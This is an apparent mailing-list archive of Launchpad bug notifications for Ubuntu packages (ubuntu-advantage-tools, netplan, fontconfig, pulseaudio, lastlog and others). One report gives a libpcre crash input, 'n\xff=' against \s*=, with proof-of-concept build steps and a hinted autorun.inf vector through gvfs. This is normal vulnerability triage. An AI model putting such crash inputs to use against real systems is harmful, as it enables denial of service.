ubuntu-meta source package in Zesty: Won't Fix Status in ubuntu-advantage-tools source package in Artful: Fix Released Status in ubuntu-meta source package in Artful: Fix Released Bug description: The ubuntu-advantage-tools package is a bit odd as it was first landed in precise to support the ESM effort inside canonical. [0] In order to bring this package up to date across other series in ubuntu, it has been recommended by the Ubuntu Foundations team to land into trusty next, then forward-port pocket-copy to all supported series until we get to the devel release. The version here: https://github.com/CanonicalLtd/ubuntu-advantage- script/releases/tag/v2 ... has all on-disk bits correctly working, for all series, but no-ops on any release other than precise (ESM is only for "unsupported" LTS releases as it were). This is a request to land ubuntu-advantage- tools into trusty, then pocket-copy it to supported series of ubuntu once that is finished. [Impact] * Allow ubuntu-advantage users to access the extended security maintenance script with a simple command line tool. This script needs to hit precise machines and be easy for ubuntu-advantage customers to enable, thus basefiles was chosen as a home. [Test Case] * Run ubuntu-advantage, it should print out help * Run sudo ubuntu-advantage enable (without sudo it will warn you), but you need to be an ubuntu-advantage customer to get that token. In the end, the script simply adds and removes an /etc/apt/sources.list.d entry. * Verify that the MOTD does not contain any mention of ubuntu- advantage esm or precise and its end of life * Verify that ubuntu-advantage enable-esm installs needed dependencies: - create the following file and its contents to have apt not install recommended packages by default: $ cat /etc/apt/apt.conf.d/no-recommends APT::Install-Recommends "false"; - remove ca-certificates and apt-transport-https: $ sudo apt remove ca-certificates apt-transport-https - run sudo ubuntu-advantage enable-esm and verify that the two removed packages are reinstalled * you can contact me (d...@canonical.com) if you would like a token for test purposes. [Regression Potential] * Low, this is a new script, not included in any automated startup paths. [Other Info] * http://blog.dustinkirkland.com/2017/03/ubuntu-1204-esm.html [0] https://insights.ubuntu.com/2017/03/14/introducing-ubuntu-12-04 -esm-extended-security-maintenance/ To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/ubuntu-advantage-tools/+bug/1686183/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1686183] Re: Ship ubuntu-advantage in ubuntu-minimal
Upon upgrading to 1.325.1 on trusty, ubuntu-minimal pulled in ubuntu- advantage-tools which got installed and ubuntu-advantage command became present and operational. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-meta in Ubuntu. https://bugs.launchpad.net/bugs/1686183 Title: Ship ubuntu-advantage in ubuntu-minimal Status in ubuntu-advantage-tools package in Ubuntu: Fix Released Status in ubuntu-meta package in Ubuntu: Fix Released Status in ubuntu-advantage-tools source package in Precise: Fix Released Status in ubuntu-meta source package in Precise: Fix Released Status in ubuntu-advantage-tools source package in Trusty: Fix Released Status in ubuntu-meta source package in Trusty: Fix Committed Status in ubuntu-advantage-tools source package in Xenial: Fix Released Status in ubuntu-meta source package in Xenial: Fix Committed Status in ubuntu-advantage-tools source package in Yakkety: Won't Fix Status in ubuntu-meta source package in Yakkety: Won't Fix Status in ubuntu-advantage-tools source package in Zesty: Fix Released Status in ubuntu-meta source package in Zesty: Won't Fix Status in ubuntu-advantage-tools source package in Artful: Fix Released Status in ubuntu-meta source package in Artful: Fix Released Bug description: The ubuntu-advantage-tools package is a bit odd as it was first landed in precise to support the ESM effort inside canonical. [0] In order to bring this package up to date across other series in ubuntu, it has been recommended by the Ubuntu Foundations team to land into trusty next, then forward-port pocket-copy to all supported series until we get to the devel release. The version here: https://github.com/CanonicalLtd/ubuntu-advantage- script/releases/tag/v2 ... has all on-disk bits correctly working, for all series, but no-ops on any release other than precise (ESM is only for "unsupported" LTS releases as it were). This is a request to land ubuntu-advantage- tools into trusty, then pocket-copy it to supported series of ubuntu once that is finished. [Impact] * Allow ubuntu-advantage users to access the extended security maintenance script with a simple command line tool. This script needs to hit precise machines and be easy for ubuntu-advantage customers to enable, thus basefiles was chosen as a home. [Test Case] * Run ubuntu-advantage, it should print out help * Run sudo ubuntu-advantage enable (without sudo it will warn you), but you need to be an ubuntu-advantage customer to get that token. In the end, the script simply adds and removes an /etc/apt/sources.list.d entry. * Verify that the MOTD does not contain any mention of ubuntu- advantage esm or precise and its end of life * Verify that ubuntu-advantage enable-esm installs needed dependencies: - create the following file and its contents to have apt not install recommended packages by default: $ cat /etc/apt/apt.conf.d/no-recommends APT::Install-Recommends "false"; - remove ca-certificates and apt-transport-https: $ sudo apt remove ca-certificates apt-transport-https - run sudo ubuntu-advantage enable-esm and verify that the two removed packages are reinstalled * you can contact me (d...@canonical.com) if you would like a token for test purposes. [Regression Potential] * Low, this is a new script, not included in any automated startup paths. [Other Info] * http://blog.dustinkirkland.com/2017/03/ubuntu-1204-esm.html [0] https://insights.ubuntu.com/2017/03/14/introducing-ubuntu-12-04 -esm-extended-security-maintenance/ To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/ubuntu-advantage-tools/+bug/1686183/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1770082] Re: systemd-networkd not renaming devices on boot
Tested just now... It is working for the subiquity installer version
(ubuntu-18.04-live-server-amd64.iso) but it does not apply ip address on
boot if installed with the debian-intaller version (ubuntu-18.04-server-
amd64.iso).
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1770082
Title:
systemd-networkd not renaming devices on boot
Status in netplan:
Fix Released
Status in cloud-init package in Ubuntu:
Confirmed
Status in netplan.io package in Ubuntu:
Fix Committed
Status in nplan package in Ubuntu:
Fix Released
Status in systemd package in Ubuntu:
Confirmed
Status in nplan source package in Xenial:
Fix Released
Status in netplan.io source package in Bionic:
Fix Committed
Status in netplan.io source package in Cosmic:
Fix Committed
Bug description:
[Impact]
Systems relying on renaming network interfaces at boot and when 'netplan
apply' is run.
[Test case]
- Write a new netplan YAML (adjusting for current system as necessary):
network:
version: 2
ethernets:
ens3:
dhcp4: true
match:
macaddress: 52:54:00:de:bd:f6
set-name: myif0
- Run 'netplan apply'
- Verify that the device is correctly renamed to 'myif0'.
- Reboot.
- Make sure the device is correctly renamed to 'myif0'.
[Regression potential]
Changes in rename logic to add udev rules may otherwise impact applying
different settings to the network interfaces. Changes in settings on network
interfaces, missing parameters (especially on bonds, bridges) should be
investigated as potential regressions. Other failures to apply network settings
might also happen if there's a race between applying renames via the udev
rules, and using the new names to apply configuration changes to the interfaces.
=== systemd issue ===
Renaming devices doesn't seem to work.
If I disable all other network configuration and create
/etc/systemd/network/10-network.link with:
[Match]
MACAddress=52:54:00:c1:c9:bb
[Link]
Name=myiface3
I expect this to cause the device with that MAC address to be renamed
to myiface3. However, when I reboot, I instead see:
$ ip l
1: lo: mtu 65536 qdisc noqueue state UNKNOWN mode
DEFAULT group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: ens3: mtu 1500 qdisc noop state DOWN mode DEFAULT
group default qlen 1000
link/ether 52:54:00:c1:c9:bb brd ff:ff:ff:ff:ff:ff
The device is not renamed.
This link file is pretty much identical to Example 2 in
https://www.freedesktop.org/software/systemd/man/systemd.link.html.
The renaming does work if I boot with net.ifnames=0, and oddly, it
also works if I unbind the device and rebind it as netplan apply does.
No setting of NamePolicy seems to help.
=== Original Bug ==
'set-name:' doesn't change the name of a network interface on boot, it
only works when you do netplan apply.
Say I take this 50-cloud-init.yaml file:
# This file is generated from information provided by
# the datasource. Changes to it will not persist across an instance.
# To disable cloud-init's network configuration capabilities, write a file
# /etc/cloud/cloud.cfg.d/99-disable-network-config.cfg with the following:
# network: {config: disabled}
network:
version: 2
ethernets:
ens3:
dhcp4: true
match:
macaddress: 52:54:00:de:bd:f6
set-name: ens3
Say I change set-name to 'myiface3' and reboot. I expect that the
device will be called myiface3 and brought up fine with dhcp. However,
instead I see:
$ ip a
1: lo: mtu 65536 qdisc noqueue state UNKNOWN group
default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens3: mtu 1500 qdisc noop state DOWN group default
qlen 1000
link/ether 52:54:00:de:bd:f6 brd ff:ff:ff:ff:ff:ff
The name has not been changed, and the device has not been brought up.
If I run netplan apply however, I see the following:
1: lo: mtu 65536 qdisc noqueue state UNKNOWN group
default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
3: myiface3: mtu 1500 qdisc fq_codel state
UP group default qlen 1000
link/ether 52:54:00:de:bd:f6 brd ff:ff:ff:ff:ff:ff
inet 192.168.122.151/24 brd 192.168.122.255 scope global dynamic myiface3
valid_lft 3575sec preferred_lft 3575sec
inet6 fe80::5054:ff:fede:bdf6/64 scope link
valid_lft forever preferred_lft forever
[Touch-packages] [Bug 1798725] Re: Content "n\xff=" can crash libpcre when an application is matching the pattern \s*=
Seems this is a bug in gvfs not properly validating as UTF8 before calling into glib: https://bugs.exim.org/show_bug.cgi?id=2330#c9 ** Package changed: pcre3 (Ubuntu) => gvfs (Ubuntu) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to pcre3 in Ubuntu. https://bugs.launchpad.net/bugs/1798725 Title: Content "n\xff=" can crash libpcre when an application is matching the pattern \s*= Status in gvfs package in Ubuntu: Confirmed Bug description: Reported upstream at https://bugs.exim.org/show_bug.cgi?id=2330 - libpcre3 can be made to crash when matching the pattern \s*= when the context is n\xff= Able to reproduce on current Bionic using the PoC attached (which is copied directly from the upstream bug report) - in a fresh Bionic VM: $ sudo apt install build-essential libgtk2.0-dev $ cd PCRE_PoC $ ./compilePoC.sh $ ./PoC Content: --- n�= --- Pattern: --- \s*= - Segmentation fault (core dumped) Haven't yet tested the second PoC via an external disk autorun.inf and gvfs-udisks2-volume-monitor. Also haven't tested in Cosmic / older releases To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gvfs/+bug/1798725/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1800003] Re: evince crashes in FcConfigParseAndLoad
Both is attached. Let me know if this is not what you needed.
** Attachment added: "dpkg, which, ldd and gdb output"
https://bugs.launchpad.net/ubuntu/+source/fontconfig/+bug/183/+attachment/5205799/+files/evince-info-bt.txt
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to fontconfig in Ubuntu.
https://bugs.launchpad.net/bugs/183
Title:
evince crashes in FcConfigParseAndLoad
Status in fontconfig package in Ubuntu:
Incomplete
Bug description:
I have the following situation persistently on my system (Ubuntu
18.04.1 on Dell Latitude E6500):
Evince called with any pdf file crashes immediately with a
segmentation fault. From the crash dump, I see that the crash happens
in fontconfig's FcConfigParseAndLoad function, i.e. when the system
fonts.conf is read. I can reproduce the crash with the following
minimal example:
#include
const FcChar8* filename = "/home/mirkoh/fontconfig-test/fonts.conf";
FcConfig* config;
int main(){
FcConfigParseAndLoad(config, filename, FcTrue);
}
The fonts.conf file used here is also absolutely minimal:
(Get me right. It first happened with my system fonts.conf, which is
not empty. In order to find out whether a specific entry lead to the
crash, I deleted entry after entry, ultimately reaching the file
above, and always FcConfigParseAndLoad crashes.
I have no idea how to go on from here.
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/fontconfig/+bug/183/+subscriptions
--
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1799998] Re: 20% of volume is like 0%
It does not. Still no sound on <20%. But over 100%, it did increase the volume output without distortions. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/178 Title: 20% of volume is like 0% Status in linux package in Ubuntu: Incomplete Status in pulseaudio package in Ubuntu: Incomplete Bug description: There is no sound on my laptop when volume is set to 20% or less. Also, when I set it to 100%, its output is lower than on Windows. The problem occurs when using a headphone as well. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: alsa-base 1.0.25+dfsg-0ubuntu5 ProcVersionSignature: Ubuntu 4.15.0-36.39-generic 4.15.18 Uname: Linux 4.15.0-36-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/pcmC0D0p: roinujnosde 1600 F...m pulseaudio /dev/snd/controlC0: roinujnosde 1600 F pulseaudio CurrentDesktop: ubuntu:GNOME Date: Thu Oct 25 13:33:21 2018 InstallationDate: Installed on 2018-10-09 (15 days ago) InstallationMedia: Ubuntu 18.04.1 LTS "Bionic Beaver" - Release amd64 (20180725) PackageArchitecture: all SourcePackage: alsa-driver Symptom: audio Symptom_Card: Áudio interno - HDA Intel PCH Symptom_Jack: Speaker, Internal Symptom_PulseAudioLog: out 25 08:30:58 edson-ideapad dbus-daemon[782]: [system] Activating via systemd: service name='org.freedesktop.RealtimeKit1' unit='rtkit-daemon.service' requested by ':1.27' (uid=121 pid=1007 comm="/usr/bin/pulseaudio --daemonize=no " label="unconfined") Symptom_Type: Volume slider, or mixer problems Title: [80YH, Realtek Generic, Speaker, Internal] volume slider problem UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 02/24/2018 dmi.bios.vendor: LENOVO dmi.bios.version: 4WCN39WW dmi.board.asset.tag: NO Asset Tag dmi.board.name: Cairo 5A dmi.board.vendor: LENOVO dmi.board.version: SDK0J40679 WIN dmi.chassis.asset.tag: NO Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: LENOVO dmi.chassis.version: Lenovo ideapad 320-15IKB dmi.modalias: dmi:bvnLENOVO:bvr4WCN39WW:bd02/24/2018:svnLENOVO:pn80YH:pvrLenovoideapad320-15IKB:rvnLENOVO:rnCairo5A:rvrSDK0J40679WIN:cvnLENOVO:ct10:cvrLenovoideapad320-15IKB: dmi.product.family: IDEAPAD dmi.product.name: 80YH dmi.product.version: Lenovo ideapad 320-15IKB dmi.sys.vendor: LENOVO To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/178/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1707645] Re: system with high numbered uids has huge sparse /var/log/lastlog
Someone needs to take on all the affected systems, PAM, users etc to find a fix. In redhat this has been an open issue since 2013. If anybody sees this hopefully it will direct interested parties to places where other people are talking about the same issue. This also becomes an issue in Docker containers, where user IDs are large. Great way to fill up your docker image with junk. https://bugzilla.redhat.com/show_bug.cgi?id=951564 ** Bug watch added: Red Hat Bugzilla #951564 https://bugzilla.redhat.com/show_bug.cgi?id=951564 -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to util-linux in Ubuntu. https://bugs.launchpad.net/bugs/1707645 Title: system with high numbered uids has huge sparse /var/log/lastlog Status in pam package in Ubuntu: Confirmed Status in shadow package in Ubuntu: Confirmed Status in util-linux package in Ubuntu: Confirmed Bug description: I was investigating the use of a single high UID user (ie, 20) and discovered that /var/log/lastlog grew to an enormously large sparse file: $ ls -lh /var/log/lastlog -rw-rw-r-- 1 root utmp 544G Jul 27 12:35 /var/log/lastlog The file is actually quite small though: $ ls -lh --size /var/log/lastlog 56K -rw-rw-r-- 1 root utmp 544G Jul 27 12:35 /var/log/lastlog On a standalone system, this is possibly not a problem since it is highly unlikely that a system will have 2 billion users, but this is confirmed to wreak havoc on rsync backups. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pam/+bug/1707645/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1800118] Re: [OMEN X by HP Laptop 17-ap0xx, Nvidia GPU 83 HDMI/DP, Digital Out, HDMI] Playback problem
Sure Nvidia NVHDA Sound works only with a PATCH! NVHDA does not persist after Suspend or Hibernating (my System Fully Supports BOTH) I have workarounds and WOW Good News My Myriad of acpi 3400 errors are gone ! but this all seems ACPI related to HDMI and NVHDA logs show a LOT LESS errors than ever (6 weeks with this new Computer) so things are getting better fast awesome Here are some new bugs 16 times ACPI Error: Method parse/execution failed \_SB.WMID.WMAA, AE_AML_BUFFER_LIMIT (20180531/psparse-516) 162 !!! Times ACPI Error: Skip parsing opcode Method (20180531/psloop-542) On Fri, 26 Oct 2018 at 03:00, Daniel van Vugt wrote: > Can you please describe the problem in a sentence or two? > > ** Package changed: alsa-driver (Ubuntu) => linux (Ubuntu) > > ** Also affects: pulseaudio (Ubuntu) >Importance: Undecided >Status: New > > ** Changed in: linux (Ubuntu) >Status: New => Incomplete > > ** Changed in: pulseaudio (Ubuntu) >Status: New => Incomplete > > -- > You received this bug notification because you are subscribed to the bug > report. > https://bugs.launchpad.net/bugs/1800118 > > Title: > [OMEN X by HP Laptop 17-ap0xx, Nvidia GPU 83 HDMI/DP, Digital Out, > HDMI] Playback problem > > Status in linux package in Ubuntu: > Incomplete > Status in pulseaudio package in Ubuntu: > Incomplete > > Bug description: > Below is a Cut and paste of a recent Ubuntu Forum Page where I posted > the issues > https://ubuntuforums.org/showthread.php?t=2404566 > Note that though it says "Solved" it is just workarounds of Bigger ACPI > Issues! > > ubuntu 18.10 > > OK, > > This is a new thread, and I will make it HUGE! > Edit Solution/ Work Around for the "2/" Problem > see Post # 4, Thanks PeterSaints > > Ubuntu, Please Listen! > > Nvidia, HDA WOES in the Title ... HDA stands for High Definition Audio, > or HDMI Audio, or Surround Sound 5.1-7.1 etc. ... > NVHDA stands for Nvidia HDA. Just for anyone who does not know the > Jargon! > > What does Work ... (and I will post ALL my Notes and Links for others > below!) > 1/ Everything AFTER STUPIDLY!, I need to install a Kernel PATCH! and > 2/ A STUPIDLY Necessary Restart after ANY Hibernation or Suspend! > > First my System, and most importantly is it is a NEW Cutting Edge Hp > Omen X Laptop with a Nvidia GTX 1080m GPU, and the latest Linux 3.18 Kernel! > -Computer- > Processor : Intel(R) Core(TM) i7-7820HK CPU @ 2.90GHz > Memory: 16245MB (3330MB used) > Machine Type : Notebook > Operating System : Ubuntu 18.10 > -Display- > Resolution: 1920x1080 pixels > OpenGL Renderer : GeForce GTX 1080/PCIe/SSE2 > X11 Vendor: The X.Org Foundation > > -Audio Devices- > Audio Adapter : HDA-Intel - HDA Intel PCH > Audio Adapter : HDA-Intel - HDA NVidia > -Input Devices- > > Video Bus > ST LIS3LV02DL Accelerometer > HDA Intel PCH Mic > HDA Intel PCH Mic > HDA Intel PCH Headphone > HP WMI hotkeys > HDA NVidia HDMI/DP,pcm:3 > HDA NVidia HDMI/DP,pcm:7 > HDA NVidia HDMI/DP,pcm:8 > So the LATEST 2 Problems I am looking for a SOLUTION that would indeed > help THOUSANDS and/or MILLIONS of people Now and/or in the near future! > 1/ Why SHOULD I need to apply a PATCH to a YEAR old KNOWN problem! > and MORE IMPORTANTLY! > > 2/ Why is the fixed Patch System NOT working after a Suspend or > Hibernation > (Yes I am reiterating my issue once again!) > After EITHER a Suspend or Hibernation, the HDA Sound is EITHER, > 1/ Not VISIBLE AGAIN! ANYWHERE! Trust me, or > 2/ Visible but in a Dysfunctional State, ... Showing 3 version of the > NVHDA 0,1&2 ... > and NONE of the 3 (three) WORK! to be clear NO SOUND AT ALL! when > testing them. > > So I will leave it here, and to show my continued Good Faith and > Obvious Continued Support For Ubuntu, below are ALL my Solutions to > Date! > > 1st Solution - > Install the patch to get the INVISIBLE and/or Unloaded HDA Visible > and/or Loaded > ∘ I can confirm that kernel module, posted by > ‣ Maik Freudenberg ( > https://bugs.freedesktop.org/show_bug.cgi?id=75985#c27), > • Kernel module to toggle audio function > ∘ is working fine on my system. Thank you for the fix. The HDMI audio > device now works as it should (now detected). > ∘ The steps I did to enable HDMI audio device: > • 1. Download and extract the file nvhda.tar.xz. (from above link) > • 2. Run these commands in Terminal, in the location of the extracted > folder > Code: > • $ make > • $ sudo make install > • $ echo nvhda | sudo tee -a /etc/initramfs-tools/modules > • $ echo "options nvhda load_state=1" | sudo tee > /etc/modprobe.d/nvhda.conf > • $ sudo update-initramfs -u > ‣ 3. Reboot. > ## SOLVED ## > ### > > 2nd Solution > Hibernation/Suspend Working (Not HDA Sound of Course) > > Troubleshooting > ‣ Prerequisites - does your kernel support
[Touch-packages] [Bug 1707645] Re: system with high numbered uids has huge sparse /var/log/lastlog
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: util-linux (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to util-linux in Ubuntu. https://bugs.launchpad.net/bugs/1707645 Title: system with high numbered uids has huge sparse /var/log/lastlog Status in pam package in Ubuntu: Confirmed Status in shadow package in Ubuntu: Confirmed Status in util-linux package in Ubuntu: Confirmed Bug description: I was investigating the use of a single high UID user (ie, 20) and discovered that /var/log/lastlog grew to an enormously large sparse file: $ ls -lh /var/log/lastlog -rw-rw-r-- 1 root utmp 544G Jul 27 12:35 /var/log/lastlog The file is actually quite small though: $ ls -lh --size /var/log/lastlog 56K -rw-rw-r-- 1 root utmp 544G Jul 27 12:35 /var/log/lastlog On a standalone system, this is possibly not a problem since it is highly unlikely that a system will have 2 billion users, but this is confirmed to wreak havoc on rsync backups. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pam/+bug/1707645/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1707645] Re: system with high numbered uids has huge sparse /var/log/lastlog
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: pam (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to util-linux in Ubuntu. https://bugs.launchpad.net/bugs/1707645 Title: system with high numbered uids has huge sparse /var/log/lastlog Status in pam package in Ubuntu: Confirmed Status in shadow package in Ubuntu: Confirmed Status in util-linux package in Ubuntu: Confirmed Bug description: I was investigating the use of a single high UID user (ie, 20) and discovered that /var/log/lastlog grew to an enormously large sparse file: $ ls -lh /var/log/lastlog -rw-rw-r-- 1 root utmp 544G Jul 27 12:35 /var/log/lastlog The file is actually quite small though: $ ls -lh --size /var/log/lastlog 56K -rw-rw-r-- 1 root utmp 544G Jul 27 12:35 /var/log/lastlog On a standalone system, this is possibly not a problem since it is highly unlikely that a system will have 2 billion users, but this is confirmed to wreak havoc on rsync backups. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pam/+bug/1707645/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1707645] Re: system with high numbered uids has huge sparse /var/log/lastlog
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: shadow (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to util-linux in Ubuntu. https://bugs.launchpad.net/bugs/1707645 Title: system with high numbered uids has huge sparse /var/log/lastlog Status in pam package in Ubuntu: Confirmed Status in shadow package in Ubuntu: Confirmed Status in util-linux package in Ubuntu: Confirmed Bug description: I was investigating the use of a single high UID user (ie, 20) and discovered that /var/log/lastlog grew to an enormously large sparse file: $ ls -lh /var/log/lastlog -rw-rw-r-- 1 root utmp 544G Jul 27 12:35 /var/log/lastlog The file is actually quite small though: $ ls -lh --size /var/log/lastlog 56K -rw-rw-r-- 1 root utmp 544G Jul 27 12:35 /var/log/lastlog On a standalone system, this is possibly not a problem since it is highly unlikely that a system will have 2 billion users, but this is confirmed to wreak havoc on rsync backups. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pam/+bug/1707645/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1800120] [NEW] please find the solution to the display problem asap
Public bug reported: i have recently purchased an asus rog gl504gm and i have dual booted it with ubuntu . but as soon as i dual booted it i started facing a lot of problems with the display resolution as well as trackpad recognition also with the working of my gtx geforce 1060 driver kindly help me out as this is interfering with my project. hoping to hear from you soon ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: xorg 1:7.7+13ubuntu3 ProcVersionSignature: Ubuntu 4.15.0-29.31~16.04.1-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 .tmp.unity_support_test.1: ApportVersion: 2.20.1-0ubuntu2.18 Architecture: amd64 BootLog: CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: compiz CompositorUnredirectDriverBlacklist: '(nouveau|Intel).*Mesa 8.0' CompositorUnredirectFSW: true CurrentDesktop: Unity Date: Fri Oct 26 15:18:00 2018 DistUpgraded: Fresh install DistroCodename: xenial DistroVariant: ubuntu ExtraDebuggingInterest: Yes GraphicsCard: Intel Corporation Device [8086:3e9b] (prog-if 00 [VGA controller]) Subsystem: ASUSTeK Computer Inc. Device [1043:19ae] NVIDIA Corporation Device [10de:1c20] (rev a1) (prog-if 00 [VGA controller]) Subsystem: ASUSTeK Computer Inc. Device [1043:19ae] InstallationDate: Installed on 2018-10-25 (0 days ago) InstallationMedia: Ubuntu 16.04.5 LTS "Xenial Xerus" - Release amd64 (20180731) MachineType: ASUSTeK COMPUTER INC. Strix GL504GM_GL504GM ProcEnviron: LANGUAGE=en_IN:en PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_IN SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-29-generic root=UUID=15579d78-0db7-4ca0-b847-d143de8810f6 ro quiet nomodeset Renderer: Software SourcePackage: xorg Symptom: display UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 05/31/2018 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: GL504GM.303 dmi.board.asset.tag: ATN12345678901234567 dmi.board.name: GL504GM dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: 1.0 dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: ASUSTeK COMPUTER INC. dmi.chassis.version: 1.0 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrGL504GM.303:bd05/31/2018:svnASUSTeKCOMPUTERINC.:pnStrixGL504GM_GL504GM:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnGL504GM:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0: dmi.product.family: Strix dmi.product.name: Strix GL504GM_GL504GM dmi.product.version: 1.0 dmi.sys.vendor: ASUSTeK COMPUTER INC. version.compiz: compiz 1:0.9.12.3+16.04.20180221-0ubuntu1 version.ia32-libs: ia32-libs N/A version.libdrm2: libdrm2 2.4.91-2~16.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 18.0.5-0ubuntu0~16.04.1 version.libgl1-mesa-dri-experimental: libgl1-mesa-dri-experimental N/A version.libgl1-mesa-glx: libgl1-mesa-glx 18.0.5-0ubuntu0~16.04.1 version.xserver-xorg-core: xserver-xorg-core N/A version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati N/A version.xserver-xorg-video-intel: xserver-xorg-video-intel N/A version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau N/A xserver.bootTime: Fri Oct 26 14:46:03 2018 xserver.configfile: default xserver.errors: open /dev/dri/card0: No such file or directory open /dev/dri/card0: No such file or directory Screen 0 deleted because of no matching config section. AIGLX: reverting to software rendering xserver.logfile: /var/log/Xorg.0.log xserver.outputs: xserver.version: 2:1.19.6-1ubuntu4~16.04.1 ** Affects: xorg (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug compiz-0.9 resolution ubuntu xenial -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1800120 Title: please find the solution to the display problem asap Status in xorg package in Ubuntu: New Bug description: i have recently purchased an asus rog gl504gm and i have dual booted it with ubuntu . but as soon as i dual booted it i started facing a lot of problems with the display resolution as well as trackpad recognition also with the working of my gtx geforce 1060 driver kindly help me out as this is interfering with my project. hoping to hear from you soon ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: xorg 1:7.7+13ubuntu3 ProcVersionSignature: Ubuntu 4.15.0-29.31~16.04.1-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 .tmp.unity_support_test.1: ApportVersion: 2.20.1-0ubuntu2.18 Architecture: amd64 BootLog: CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: compiz CompositorUnredirectDriverBlacklist: '(nouveau|Intel).*Mesa 8.0' CompositorUnredirectFSW: true CurrentDesktop: Unity Date: Fri Oct 26 15:18:00 2018 DistUpgraded: Fresh install DistroCodename: xenial DistroVariant: ubuntu
[Touch-packages] [Bug 1800118] Re: [OMEN X by HP Laptop 17-ap0xx, Nvidia GPU 83 HDMI/DP, Digital Out, HDMI] Playback problem
